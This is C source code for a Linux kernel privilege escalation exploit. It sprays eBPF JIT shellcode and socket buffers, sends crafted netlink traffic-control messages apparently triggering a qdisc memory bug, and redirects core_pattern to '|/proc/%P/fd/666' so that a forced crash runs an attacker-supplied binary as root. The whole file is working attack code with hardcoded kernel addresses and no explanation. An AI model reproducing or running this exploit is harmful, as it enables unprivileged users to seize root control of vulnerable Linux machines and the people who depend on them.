#define _GNU_SOURCE
#include <sched.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <asm/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <sys/ipc.h>
#include <sys/timerfd.h>
#include <sys/msg.h>
#include <fcntl.h>
#include <err.h>
#include <sys/syscall.h>
#include <linux/aio_abi.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <pthread.h>
#include <signal.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <sys/sendfile.h>
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if
(__res == (typeof(x))-1) \
err(1,
"SYSCHK("
#x
")"
); \
__res; \
})
#define PAUSE \
{ \
printf
(
":"
); \
int
x; \
read(0, &x, 1); \
}
extern
void
write_to_cpu_entry_area(
void
*buf);
void
handle(
int
s) {}
void
set_cpu(
int
i)
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(i, &mask);
sched_setaffinity(0,
sizeof
(mask), &mask);
}
int
cfd[2];
int
sfd[0x200][2];
char
payload[0x1000];
char
buf[0x1000];
struct
sock_filter filter[0x1000];
int
stopfd[2];
const
int
DRR_CLASS_SPRAY_THREADS = 0x100;
void
*job(
void
*x)
{
size_t
idx = (
size_t
)x;
write(cfd[1], buf, 1);
read(cfd[0], buf, 1);
set_cpu(0);
struct
iovec iov = {buf, 0x1000};
struct
msghdr mhdr = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = payload,
.msg_controllen = 0x80};
sendmsg(sfd[idx][1], &mhdr, 0);
}
void
do_spray(
int
times)
{
memset
(payload,0,0x1000);
struct
cmsghdr *first;
first = (
struct
cmsghdr *)payload;
first->cmsg_len = 0x400;
first->cmsg_level = 0;
first->cmsg_type = 0x41414141;
*(
size_t
*)&payload[0x60] = 0xfffffe000003df58;
for
(
int
i = 0; i < DRR_CLASS_SPRAY_THREADS; i++)
{
SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, sfd[i]));
int
n = 0x800;
setsockopt(sfd[i][1], SOL_SOCKET, SO_SNDBUF, (
char
*)&n,
sizeof
(n));
setsockopt(sfd[i][0], SOL_SOCKET, SO_RCVBUF, (
char
*)&n,
sizeof
(n));
write(sfd[i][1], buf, 0x1000);
}
pthread_t tid;
for
(
int
i = 0; i < times; i++)
pthread_create(&tid, 0, job, (
void
*)(
size_t
)i);
}
int
sc(
void
)
{
set_cpu(1);
unsigned
int
prog_len = 0x900;
struct
sock_filter table[] = {
{.code = BPF_LD + BPF_K, .k = 0xb3909090},
{.code = BPF_RET + BPF_K, .k = SECCOMP_RET_ALLOW}};
for
(
int
i = 0; i < prog_len; i++)
filter[i] = table[0];
filter[prog_len - 1] = table[1];
int
idx = prog_len - 2;
#include "sc.h"
struct
sock_fprog prog = {
.len = prog_len,
.filter = filter,
};
int
fd[2];
for
(
int
k = 0; k < 0x50; k++)
{
if
(fork() == 0)
{
close(stopfd[1]);
for
(
int
i = 0; i < 0x100; i++)
{
SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, fd));
SYSCHK(setsockopt(fd[0], SOL_SOCKET, SO_ATTACH_FILTER, &prog,
sizeof
(prog)));
}
write(stopfd[0], buf, 1);
read(stopfd[0], buf, 1);
exit
(0);
}
}
read(stopfd[1], buf, 0x50);
}
char
POC[0x1000];
size_t
DEL[] = {
0x0005002900000024, 0x00000000649bcb96,
0x0000000100000000, 0x0001000000010010,
0x0000000000000000};
int
check_core()
{
char
buf[0x100] = {};
int
core = open(
"/proc/sys/kernel/core_pattern"
, O_RDONLY);
read(core, buf,
sizeof
(buf));
close(core);
return
strncmp
(buf,
"|/proc/%P/fd/666"
, 0x10) == 0;
}
void
crash(
char
*cmd)
{
int
memfd = memfd_create(
""
, 0);
if
(memfd < 0)
perror
(memfd);
SYSCHK(sendfile(memfd, open(
"root1"
, 0), 0, 0xffffffff));
if
(dup2(memfd, 666) < 0)
perror
(
"dup2"
);
close(memfd);
while
(check_core() == 0)
sleep(1);
*(
size_t
*)0 = 0;
}
void
unshare_setup(uid_t uid, gid_t gid)
{
int
temp, ret;
char
edit[0x100];
ret = unshare(CLONE_NEWNET | CLONE_NEWUSER);
if
(ret < 0)
{
perror
(
"unshare"
);
}
temp = open(
"/proc/self/setgroups"
, O_WRONLY);
write(temp,
"deny"
,
strlen
(
"deny"
));
close(temp);
temp = open(
"/proc/self/uid_map"
, O_WRONLY);
snprintf(edit,
sizeof
(edit),
"0 %d 1"
, uid);
write(temp, edit,
strlen
(edit));
close(temp);
temp = open(
"/proc/self/gid_map"
, O_WRONLY);
snprintf(edit,
sizeof
(edit),
"0 %d 1"
, gid);
write(temp, edit,
strlen
(edit));
close(temp);
return
;
}
#include "key.h"
#include "pg_vec.h"
#include "sendmsg.h"
size_t
data[0x1000];
int
main(
int
argc,
char
**argv)
{
if
(fork() == 0)
{
set_cpu(1);
strcpy
(argv[0],
"billy"
);
while
(1)
sleep(1);
}
if
(fork() == 0)
{
set_cpu(1);
setsid();
crash(
""
);
}
setvbuf
(stdout, 0, 2, 0);
unshare_setup(getuid(), getgid());
socketpair(AF_UNIX, SOCK_STREAM, 0, cfd);
socketpair(AF_UNIX, SOCK_STREAM, 0, stopfd);
struct
rlimit rlim = {
.rlim_cur = 0xf000,
.rlim_max = 0xf000};
setrlimit(RLIMIT_NOFILE, &rlim);
char
*core = (
void
*)mmap((
void
*)0xa00000, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANON, -1, 0);
strcpy
(core,
"|/proc/%P/fd/666"
);
int
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
set_cpu(1);
puts
(
"spray ebpf program."
);
sc();
puts
(
"spray ebpf done"
);
getchar
();
set_cpu(0);
{
int
poc_fd = open(
"./POC1"
, O_RDONLY);
read(poc_fd, POC, 0x1000);
write(fd, POC, 0x1000);
}
write(fd, DEL, 0x24);
for
(
int
i = 1; i <= 3; i++){
printf
(
"sleep %d\n"
, i);
sleep(1);
}
int
pfds[0x100];
char
*pages[0x100];
for
(
int
i = 0; i < 0x80; i++){
pfds[i] = pagealloc_pad(16, 0x1000);
if
(pfds[i] < 0)
perror
(
"pagealloc_pad"
);
}
for
(
int
i = 0; i < 0x80; i++){
pages[i] = mmap(NULL, 0x1000*16, PROT_READ|PROT_WRITE, MAP_SHARED, pfds[i], 0);
if
(pages[i] == MAP_FAILED) {
perror
(
"mmap"
);
exit
(-1);
}
}
size_t
goal_addr = 0xffffffffc2003000;
for
(
int
i = 0; i < 0x80; i++){
memcpy
(pages[i]+12*0x1000, &goal_addr, 8);
}
struct
sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(80),
.sin_addr.s_addr = inet_addr(
"127.0.0.1"
),
};
size_t
fake_qdisc_struct[0x10] = {};
fake_qdisc_struct[0] = 0xffffffffcc000000 - 0x800;
int
c = socket(AF_INET, SOCK_DGRAM, 0);
if
(fork() == 0)
{
set_cpu(1);
signal
(SIGFPE, handle);
signal
(SIGTRAP, handle);
signal
(SIGSEGV, handle);
setsid();
write_to_cpu_entry_area(fake_qdisc_struct);
}
sleep(1);
int
mark = 1;
if
(setsockopt(c, SOL_SOCKET, SO_MARK, &mark,
sizeof
(mark)) < 0) {
perror
(
"setsockopt"
);
}
else
printf
(
"set mark successful!"
);
SYSCHK(sendto(c, buf, 0x10, 0, (
void
*)&addr,
sizeof
(addr)));
SYSCHK(sendto(c, buf, 0x10, 0, (
void
*)&addr,
sizeof
(addr)));
SYSCHK(sendto(c, buf, 0x10, 0, (
void
*)&addr,
sizeof
(addr)));
SYSCHK(sendto(c, buf, 0x10, 0, (
void
*)&addr,
sizeof
(addr)));
}